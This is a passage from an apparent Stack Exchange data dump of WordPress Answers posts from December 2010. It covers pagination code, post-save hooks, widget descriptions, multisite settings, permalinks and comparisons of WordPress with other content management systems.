( $page &amp;gt;= $args['range'] &amp;amp;&amp;amp; $page &amp;lt; ($count - $ceil) ) {&#xA;            $min = $page - $ceil;&#xA;            $max = $page + $ceil;&#xA;        }&#xA;    } else {&#xA;        $min = 1;&#xA;        $max = $count;&#xA;    }&#xA;&#xA;    $echo = '';&#xA;    $previous = intval($page) - 1;&#xA;    $previous = esc_attr( get_pagenum_link($previous) );&#xA;    if ( $previous &amp;amp;&amp;amp; (1 != $page) )&#xA;        $echo .= '&amp;lt;a href=&quot;' . $previous . '&quot; title=&quot;' . __( 'previous', FB_GREYFOTO_TEXTDOMAIN) . '&quot;&amp;gt;' . $args['previous_string'] . '&amp;lt;/a&amp;gt;';&#xA;    $firstpage = esc_attr( get_pagenum_link(1) );&#xA;&#xA;    if ( $args['view_fp'] &amp;amp;&amp;amp; $firstpage &amp;amp;&amp;amp; (1 != $page) )&#xA;        $echo .= '&amp;lt;a href=&quot;' . $firstpage . '&quot;&amp;gt;' . __( 'First', FB_GREYFOTO_TEXTDOMAIN ) . '&amp;lt;/a&amp;gt;';&#xA;&#xA;    if ( !empty($min) &amp;amp;&amp;amp; !empty($max) ) {&#xA;        for( $i = $min; $i &amp;lt;= $max; $i++ ) {&#xA;            if ($page == $i) {&#xA;                $echo .= '&amp;lt;span class=&quot;active&quot;&amp;gt;' . str_pad( (int)$i, 2, '0', STR_PAD_LEFT ) . '&amp;lt;/span&amp;gt;';&#xA;            } else {&#xA;                $echo .= sprintf( '&amp;lt;a href=&quot;%s&quot;&amp;gt;%002d&amp;lt;/a&amp;gt;', esc_attr( get_pagenum_link($i) ), $i );&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    if ($args['view_lp']) {&#xA;        $lastpage = esc_attr( get_pagenum_link($count) );&#xA;        if ( $lastpage &amp;amp;&amp;amp; ($count != $page) ) {&#xA;            $count = str_pad( (int)$count, 2, '0', STR_PAD_LEFT );&#xA;            $echo .= '&amp;lt;a href=&quot;' . $lastpage . '&quot;&amp;gt;' . __( 'Last', FB_GREYFOTO_TEXTDOMAIN ) . '(' . $count . ')' . '&amp;lt;/a&amp;gt;';&#xA;        }&#xA;    }&#xA;&#xA;    $next = intval($page) + 1;&#xA;    $next = esc_attr( get_pagenum_link($next) );&#xA;    if ($next &amp;amp;&amp;amp; ($count != $page) )&#xA;        $echo .= '&amp;lt;a href=&quot;' . $next . '&quot; title=&quot;' . __( 'next', FB_GREYFOTO_TEXTDOMAIN) . '&quot;&amp;gt;' . $args['next_string'] . '&amp;lt;/a&amp;gt;';&#xA;&#xA;    if ( isset($echo) )&#xA;        echo $args['before_output'] . $echo . $args['after_output'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also you can hook inside the function for custom format and variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function change_fb_paging_bar_defaults($args) {&#xA;&#xA;    $args['previous_string'] = ''; // empty string&#xA;    $args['next_string'] = '';&#xA;&#xA;    return $args;&#xA;}&#xA;add_filter('fb_paging_bar_defaults', 'change_fb_paging_bar_defaults');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your template sonly use the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fb_paging_bar();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-12-06T22:23:00.027" CommentCount="1" />
  <row Id="4957" PostTypeId="2" ParentId="4952" CreationDate="2010-12-06T22:50:46.670" Score="2" ViewCount="" Body="&lt;p&gt;You can hook onto &lt;code&gt;save_post&lt;/code&gt;, &lt;code&gt;wp_insert_post&lt;/code&gt; or &lt;code&gt;wp_insert_post_data&lt;/code&gt; to modify the post object prior to it being inserted or saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;save_post&lt;/code&gt; or &lt;code&gt;wp_insert_post&lt;/code&gt; the callback would need to declare two args and would receive the post object as the second incoming variable.. (and i'm showing you to cover the alternatives, TheDeadMedic's example would be fine to).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For setting default values for a particular post type for &lt;strong&gt;new&lt;/strong&gt; posts you can use a small hack by hooking onto &lt;code&gt;default_content&lt;/code&gt; (although &lt;code&gt;default_title&lt;/code&gt; would also work to), like the example i gave &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2040/setting-comments-off-as-default-for-pages-and-custom-post-types/3828#3828&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You essentially need two functions, one to modify post objects at the time of save/insert and one to set default post object values, here's an example of the two necessary functions(again noting you can swap my save_post callback for the example already given by TheDeadMedic).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'save_post', 'check_type_values', 10, 2 );&#xA;&#xA;function check_type_values( $post_id, $post ) {&#xA;&#xA;    if( $post-&amp;gt;post_type )&#xA;        switch( $post-&amp;gt;post_type ) {&#xA;            case 'my_custom_type':&#xA;                $post-&amp;gt;post_status = 'private';&#xA;                $post-&amp;gt;post_password = ( '' == $post-&amp;gt;post_password ) ? 'some_default_when_no_password' : $post-&amp;gt;post_password;&#xA;            break;&#xA;        }   &#xA;    return;&#xA;}&#xA;&#xA;add_filter( 'default_content', 'set_default_values', 10, 2 );&#xA;&#xA;function set_default_values( $post_content, $post ) {&#xA;&#xA;    if( $post-&amp;gt;post_type )&#xA;        switch( $post-&amp;gt;post_type ) {&#xA;            case 'my_custom_type':&#xA;                $post-&amp;gt;post_status = 'private';&#xA;                $post-&amp;gt;post_password = 'some_default_password';&#xA;            break;&#xA;        }&#xA;    return $post_content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps... &lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-07T18:57:14.780" LastActivityDate="2010-12-07T18:57:14.780" CommentCount="6" />
  <row Id="4959" PostTypeId="1" AcceptedAnswerId="4963" CreationDate="2010-12-07T00:31:54.660" Score="2" ViewCount="112" Body="&lt;p&gt;I have inherited a situation where our team supports over 100+ separate WordPress installs for various clients. I am looking to make the whole process a bit more efficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For all of those in a similar situation of managing a large number of Wordpress installs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any tools or techniques that are helpful? The thought of migrating all of these to 3.0.2 by logging in or writing a script from scratch both sound particularly unappealing.&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2011-02-28T07:57:33.623" Title="Adminstering Large Number of Wordpress Sites" Tags="&lt;admin&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="4960" PostTypeId="1" AcceptedAnswerId="4966" CreationDate="2010-12-07T01:43:45.973" Score="0" ViewCount="129" Body="&lt;p&gt;I've tried to explain the benefits of WordPress to others; comparing it to static sites is easy, as (most) everything can be done online with WP. I have more difficulty comparing and contrasting with other content management systems such as Drupal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize that there is no perfect system for every use, but what features - if any - of WordPress would you point out as being easier or more useful, compared to other tools?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am particularly interested in features regarding use of WP as a CMS, not just a blog.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2010-12-07T03:31:55.713" Title="What are the advantages of WordPress over other systems?" Tags="&lt;cms&gt;&lt;comparison&gt;" AnswerCount="2" />
  <row Id="4961" PostTypeId="1" AcceptedAnswerId="4980" CreationDate="2010-12-07T01:50:13.697" Score="1" ViewCount="162" Body="&lt;p&gt;The codex doesn't seem to say how one would go about adding a description to a custom widget registered with &lt;code&gt;wp_register_sidebar_widget()&lt;/code&gt;. The default description seems to be the name of teh widget itself.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myFunc(){&#xA;  /* widget code */&#xA;}&#xA;wp_register_sidebar_widget( 'wdgt1', 'Site Map', 'myFunc', array() );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/9raIo.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2010-12-07T10:03:27.390" Title="How to add a description to Widgets?" Tags="&lt;widgets&gt;" AnswerCount="3" />
  <row Id="4962" PostTypeId="2" ParentId="4961" CreationDate="2010-12-07T02:08:57.933" Score="3" ViewCount="" Body="&lt;p&gt;This is the old (and difficult) way to create WordPress widgets. Use the Widget API instead: &lt;a href=&quot;http://codex.wordpress.org/Widget_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Widget_API&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-12-07T02:08:57.933" />
  <row Id="4963" PostTypeId="2" ParentId="4959" CreationDate="2010-12-07T02:21:57.797" Score="1" ViewCount="" Body="&lt;p&gt;Well it depends on how/where they are hosted. If if they are hosted on different servers or the same  I would still use the command line and a script file. If they all have different usernames/passwords you going to have to write a lot. Pre-planning will save you a ton of time in maintenance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First it would be best to get some data on all the sites, for instance versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of a script file for multiple servers,&#xA;&lt;a href=&quot;http://www.cyberciti.biz/tips/execute-commands-on-multiple-linux-or-unix-servers.html&quot; rel=&quot;nofollow&quot;&gt;http://www.cyberciti.biz/tips/execute-commands-on-multiple-linux-or-unix-servers.html&lt;/a&gt;&#xA;but in your case you would do something like &#xA;&lt;code&gt;grep wp_version wp-includes/version.php&lt;/code&gt; to get all the version info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course if they all have diff admin passwords you would have to include each one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative would be to write a script to crawl the sites to grab the meta generator tags ( though they are sometimes disabled).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also do a mass backup using the command line and a similar script, possibly automated to a date based dir and using an sql dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then also update to the latest version for all 100+ servers using a command to run a script file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The big drawback would by incompatible plug-ins/themes or if any core code was edited, this is why I would try and gather as much data as possible to avoid any issues with keeping them up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know of anyway to automate getting a list of active plugins though, so you might have to manually get some info and hopefully you have command line access to the sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might take a while to set this and and perfect it, but the benefit is that you can tell your boss it takes 2 weeks, and that will leave you with 1.9 weeks of free time.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2010-12-07T02:57:17.097" LastActivityDate="2010-12-07T02:57:17.097" />
  <row Id="4964" PostTypeId="2" ParentId="3680" CreationDate="2010-12-07T02:30:08.370" Score="2" ViewCount="" Body="&lt;p&gt;I worked with Joomla for 1.5-2 years and Drupal for about as much but way back in the day ( I still keep somewhat up to date).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will keep this simple as Google can provide you a very in depth discussion on the pro's on cons.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there anything that Joomla or&#xA;  Drupal can do that WordPress can't&#xA;  (especially now with custom post types&#xA;  in WP 3+)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla: NO&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually 1 thing , better localisation support for many languages in themes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Drupal :YES&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Better user management, better database management, Views, CCK, more options for performance under stress or traffic, better for media heavy content sites, e-commerce,  module hooks, more driven to helping charity based open source projects, and probably most importantly better scalability for custom sites.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2010-12-07T02:48:16.963" LastActivityDate="2010-12-07T02:48:16.963" />
  <row Id="4965" PostTypeId="2" ParentId="4914" CreationDate="2010-12-07T02:51:51.890" Score="1" ViewCount="" Body="&lt;p&gt;It's not a plugin but I have been using &lt;a href=&quot;http://flowplayer.org/tools/index.html&quot; rel=&quot;nofollow&quot;&gt;jQuery Tools (Javascript Library)&lt;/a&gt; for pretty much everything, it has become a part of WordPress for most of my projects.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T19:44:58.273" LastActivityDate="2011-02-05T19:44:58.273" />
  <row Id="4966" PostTypeId="2" ParentId="4960" CreationDate="2010-12-07T02:56:40.157" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Grant Palin&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My use of WordPress is almost exclusively CMS, and the other software I have experience with is &lt;strong&gt;Drupal&lt;/strong&gt; &lt;em&gt;(2 years ago, but have continued to follow it)&lt;/em&gt; and &lt;strong&gt;DotNetNuke&lt;/strong&gt; &lt;em&gt;(5 years ago, and I haven't looked back.)&lt;/em&gt; I also reviewed &lt;strong&gt;Joomla&lt;/strong&gt; about 3+ years ago and found is to be both too complex and too inflexible, so I never seriously considered it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I can only speak with any real authority about how WordPress compares with Drupal as a CMS, and as luck would have it I wrote a blog post about exactly topic last week:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mikeschinkel.com/blog/17-reasons-wordpress-is-a-better-cms-than-drupal/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;17 Reasons WordPress is a Better CMS than Drupal&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-07T02:56:40.157" CommentCount="2" />
  <row Id="4967" PostTypeId="1" AcceptedAnswerId="4988" CreationDate="2010-12-07T03:14:48.617" Score="0" ViewCount="127" Body="&lt;p&gt;I am looking for a simple example on how to create a user bar or a simple theme with it that can serve me as example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I meant is something like we have here on Wordpress Answers if u get above the logo you have a userbar with information when user is logged in and options to login/register when user is not logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a small search around here with the terms navigation bar and user bar but didnt find anything for the header.&lt;/p&gt;&#xA;" OwnerUserId="1332" LastActivityDate="2010-12-07T13:02:25.417" Title="User bar above logotipo?" Tags="&lt;3.0&gt;&lt;theme-development&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="4968" PostTypeId="2" ParentId="4967" CreationDate="2010-12-07T03:26:08.547" Score="0" ViewCount="" Body="&lt;p&gt;If you're going to make one yourself, you could just look into the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference&quot; rel=&quot;nofollow&quot;&gt;Wordpress Function Reference&lt;/a&gt;, which has all the functions you can use to make fancy things happen with wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, if it's just what's going on above the header, just write a little snippet in your header.php file that uses the functions you want.&lt;/p&gt;&#xA;" OwnerUserId="1817" LastActivityDate="2010-12-07T03:26:08.547" CommentCount="3" />
  <row Id="4969" PostTypeId="2" ParentId="4960" CreationDate="2010-12-07T03:31:55.713" Score="2" ViewCount="" Body="&lt;p&gt;I &lt;em&gt;hate&lt;/em&gt; to just add a plug for myself, but I use WordPress as a cms on my own site - &lt;a href=&quot;http://dkuntz2.com&quot; rel=&quot;nofollow&quot;&gt;http://dkuntz2.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it's still mostly a blog, I do have a portfolio bit built in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main reasons I use WordPress over another cms are that I know WordPress, it has a huge community dedicated to supporting it, it's easy for someone who's never used it before to start and while it may technically be a hack, I've got my portfolio setup using post categories (I could set it up with custom taxonomies, but I use categories because I used it before taxonomies were out).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if other cms' have that ability, to keep things dynamic like a portfolio but still have a blog without using the same hack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use WordPress with clients because it's easier for them to use than Durpal. I would never use Joomla simply because it's really bloated and slow, and the admin area doesn't work very well. It's also nice that lots of people have written getting started guides for WordPress, so that I don't have to write a getting started guide myself, just a guide to how their site works.&lt;/p&gt;&#xA;" OwnerUserId="1817" LastActivityDate="2010-12-07T03:31:55.713" />
  <row Id="4970" PostTypeId="2" ParentId="26" CreationDate="2010-12-07T04:18:16.780" Score="0" ViewCount="" Body="&lt;p&gt;Gorilla Press has a 6 or 7 of awesome Real Estate themes. &lt;a href=&quot;http://gorillathemes.com/themes/&quot; rel=&quot;nofollow&quot;&gt;http://gorillathemes.com/themes/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1848" LastActivityDate="2010-12-07T04:18:16.780" />
  <row Id="4971" PostTypeId="2" ParentId="4896" CreationDate="2010-12-07T06:19:04.053" Score="2" ViewCount="" Body="&lt;p&gt;There was a nice function that @MikeSchinkel wrote in an answer to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/43/how-can-i-delete-orphan-keys-in-wordpress-database-tables&quot;&gt;How can I delete orphan keys in Wordpress database tables?&lt;/a&gt; about a similar issue in the wp_options table. Its not a direct parallel, but would that approach work for you?&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-12-07T06:19:04.053" />
  <row Id="4972" PostTypeId="1" CreationDate="2010-12-07T06:35:52.483" Score="2" ViewCount="93" Body="&lt;p&gt;Aweber has a new api &lt;a href=&quot;https://labs.aweber.com/&quot; rel=&quot;nofollow&quot;&gt;https://labs.aweber.com/&lt;/a&gt; and based on that they have written a plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/aweber-web-form-widget/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/aweber-web-form-widget/&lt;/a&gt; for WordPress that adds a widget. In my testing ( latest WordPress, default theme, PHP version 5 ) I have not been able to get this plugin to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I et through authentication ok, but am unable to pull anything through the API to make the widget work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone else verify whether or not the plugin is working for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, has anyone else built anything that works with the API yet?&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2011-03-01T12:22:09.707" Title="Has anyone been able to get the aweber plugin to work" Tags="&lt;plugins&gt;&lt;widgets&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="4973" PostTypeId="1" CreationDate="2010-12-07T06:53:01.667" Score="0" ViewCount="84" Body="&lt;p&gt;I have a multisite with subdirectories.&#xA;I want to change the discussion setting so that all comments will be automatically approved.&#xA;If there will be need for moderation they will be deleted later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to set this option globally and not per blog ?&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-12-07T09:27:45.927" Title="How do I change discussion settings for all blogs in multisite?" Tags="&lt;multisite&gt;&lt;comments&gt;" AnswerCount="1" />
  <row Id="4974" PostTypeId="1" CreationDate="2010-12-07T07:24:47.180" Score="0" ViewCount="242" Body="&lt;p&gt;I am facing problem with change permalink actually I am using Redirection plugin you can see this plugin from here.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   http://wordpress.org/extend/plugins/redirection/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have installed this plugin and activate.After that I want to change the url of page having page id 5 .Url is provided for each page by client so I need this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  for example:page_id=5 is about us page and I want to change this as shown in target URL&#xA;&#xA;  Source URL:http://www.lifecellskin.us/Dev/?page_id=5&#xA;  Target URL:http://www.lifecellskin.us/Dev/About.php  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that I clicked Add Redirection But when I click About us tab from header navigation it navigate to &lt;code&gt;About.php&lt;/code&gt; but show this message give below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have entered the wrong url/ page name. Click here for continueCLICK HERE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me its very urgent.Please provide me any help regard this how this plugin will work in right way as I want&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1850" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T07:35:40.067" LastActivityDate="2011-01-11T07:35:40.067" Title="Change url of page according to my reqirements in wordpress" Tags="&lt;permalinks&gt;&lt;plugin-redirection&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="0" />
  <row Id="4975" PostTypeId="1" AcceptedAnswerId="4977" CreationDate="2010-12-07T07:33:49.780" Score="1" ViewCount="132" Body="&lt;p&gt;I am using wordpress mu. My blog administrators are unable to edit users - getting the message: You do not have permission to edit this user. I have checked my plugins etc and cannot find the cause. Is there a solution to this problem?&lt;/p&gt;&#xA;" OwnerUserId="1426" LastActivityDate="2011-01-29T20:50:05.320" Title="You do not have permission to edit this user" Tags="&lt;multisite&gt;" AnswerCount="2" />
  <row Id="4976" PostTypeId="2" ParentId="4961" CreationDate="2010-12-07T08:07:49.913" Score="0" ViewCount="" Body="&lt;p&gt;it give a param for description in array of the function to register widget:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_sidebar()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example can you see on &lt;a href=&quot;http://wpengineer.com/1871/wordpress-widget-areas-with-description/&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; or this code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( function_exists('register_sidebar') ) {&#xA;    register_sidebar(array(&#xA;        'name' =&amp;gt; 'My Lorem Ipsum Sidebar',&#xA;        'description' =&amp;gt; __('Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo.', 'your_textdomain'),&#xA;        'before_widget' =&amp;gt; '&amp;lt;li id=&quot;%1$s&quot; class=&quot;widget %2$s&quot;&amp;gt;',&#xA;        'after_widget' =&amp;gt; '&amp;lt;/li&amp;gt;',&#xA;        'before_title' =&amp;gt; '&amp;lt;h2 class=&quot;widgettitle&quot;&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h2&amp;gt;',&#xA;    ));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-12-07T08:07:49.913" CommentCount="2" />
  <row Id="4977" PostTypeId="2" ParentId="4975" CreationDate="2010-12-07T09:02:24.393" Score="2" ViewCount="" Body="&lt;p&gt;this is set in wp-config.php: define( &quot;EDIT_ANY_USER&quot;, true );&lt;/p&gt;&#xA;" OwnerUserId="1426" LastActivityDate="2010-12-07T09:02:24.393" CommentCount="0" />
  <row Id="4978" PostTypeId="2" ParentId="4973" CreationDate="2010-12-07T09:27:45.927" Score="2" ViewCount="" Body="&lt;p&gt;Here's a plugin for you: &lt;a href=&quot;http://wordpress.org/extend/plugins/yd-wpmu-sitewide-options/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/yd-wpmu-sitewide-options/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The option that you're looking for is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;comment_moderation&lt;/li&gt;&#xA;&lt;li&gt;comment_whitelist&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2010-12-07T09:27:45.927" CommentCount="1" />
  <row Id="4979" PostTypeId="2" ParentId="4974" CreationDate="2010-12-07T09:46:34.903" Score="1" ViewCount="" Body="&lt;p&gt;Are both ?page_id=5 and About.php same page? If yes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First go to Settings &gt; Permalinks &gt; Permalink Settings and change the Common settings to anything other than the default.&lt;/li&gt;&#xA;&lt;li&gt;Once configure use this plugin: http://wordpress.org/extend/plugins/php-to-pages/ or any other that's similar.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Make sure the Page slug is edited according to your liking. You can edit the page slug individually from Pages &gt; Pages.&lt;/p&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2010-12-07T09:46:34.903" CommentCount="3" />
  <row Id="4980" PostTypeId="2" ParentId="4961" CreationDate="2010-12-07T10:03:27.390" Score="4" ViewCount="" Body="&lt;p&gt;Here's what you looking for: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class WP_Widget_Sitemap extends WP_Widget {&#xA;&#xA;    function WP_Widget_Sitemap() {&#xA;        $widget_ops = array( 'classname' =&amp;gt; 'widget_sitemap', 'description' =&amp;gt; __( &quot;This is the description&quot; ) );&#xA;        $this-&amp;gt;WP_Widget( 'sitemap', __('Site Map'), $widget_ops);&#xA;    }&#xA;&#xA;    function widget() { ... }&#xA;    function form() { ... }&#xA;    function update() { ... }&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://codex.wordpress.org/Widgets_API#Developing_Widgets&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Widgets_API#Developing_Widgets&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2010-12-07T10:03:27.390" />
  <row Id="4981" PostTypeId="2" ParentId="2614" CreationDate="2010-12-07T10:05:21.160" Score="1" ViewCount="" Body="&lt;p&gt;Since you want to add something to the end of every post/page rewrite rule, you probably can just add a &lt;em&gt;rewrite endpoint&lt;/em&gt;. These are regexes of the form &lt;code&gt;/[endpoint_name](/[optional_extra_stuff])?&lt;/code&gt; that are appended to the already generated rules for pages, posts, archives, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You define on which structures you want to add them by setting the &lt;em&gt;endpoint mask&lt;/em&gt;. This is a bitmask, so you can combine different groups using the &lt;code&gt;|&lt;/code&gt; operator, like this: &lt;code&gt;EP_PERMALINK | EP_PAGES&lt;/code&gt; will match for every page and every permalink (full post and date-based archives). The default list of endpoints can be found &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.2/wp-includes/rewrite.php#L96&quot; rel=&quot;nofollow&quot;&gt;at the top of &lt;code&gt;wp-includes/rewrite.php&lt;/code&gt;.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code will add &lt;code&gt;/remove(/(.*))?&lt;/code&gt; to the existing rewrite rules for pages, posts and date-based archives (for some reason they are generated twice, once in &lt;code&gt;EP_PERMALINK&lt;/code&gt; and once in &lt;code&gt;EP_DATE&lt;/code&gt;). &lt;code&gt;remove&lt;/code&gt; will also be available as a public query var, so you can do &lt;code&gt;$wp_query-&amp;gt;get( 'remove' )&lt;/code&gt; to get the value (if set) of the &lt;code&gt;[optional_extra_stuff]&lt;/code&gt; in the URL.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'init', 'wpse2614_init' );&#xA;function wpse2614_init()&#xA;{&#xA;    add_rewrite_endpoint( 'remove', EP_PERMALINK | EP_PAGES );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-07T10:05:21.160" />
  <row Id="4982" PostTypeId="2" ParentId="4967" CreationDate="2010-12-07T11:11:01.840" Score="1" ViewCount="" Body="&lt;p&gt;WordPress 3.1 will come with an adminbar in the frontend.&#xA;You might wanna wait till then?&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2010-12-07T11:11:01.840" CommentCount="2" />
  <row Id="4983" PostTypeId="1" CreationDate="2010-12-07T11:52:23.983" Score="2" ViewCount="206" Body="&lt;p&gt;Just for curiosity, is it possible to have a different permalink scheme for different templates or categories?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, for post &quot;XYZ leach review&quot; in category pets/dogs to have &quot;mysite.com/reviews/pets/dogs/xyz_leach_review.php&quot; and then any post in another category to be &quot;mysite.com/justthecastegory/the_post_name.php&quot;?&lt;/p&gt;&#xA;" OwnerUserId="1576" LastActivityDate="2010-12-07T12:49:15.627" Title="Different permalink structure per category" Tags="&lt;permalinks&gt;" AnswerCount="1" FavoriteCount="1" />
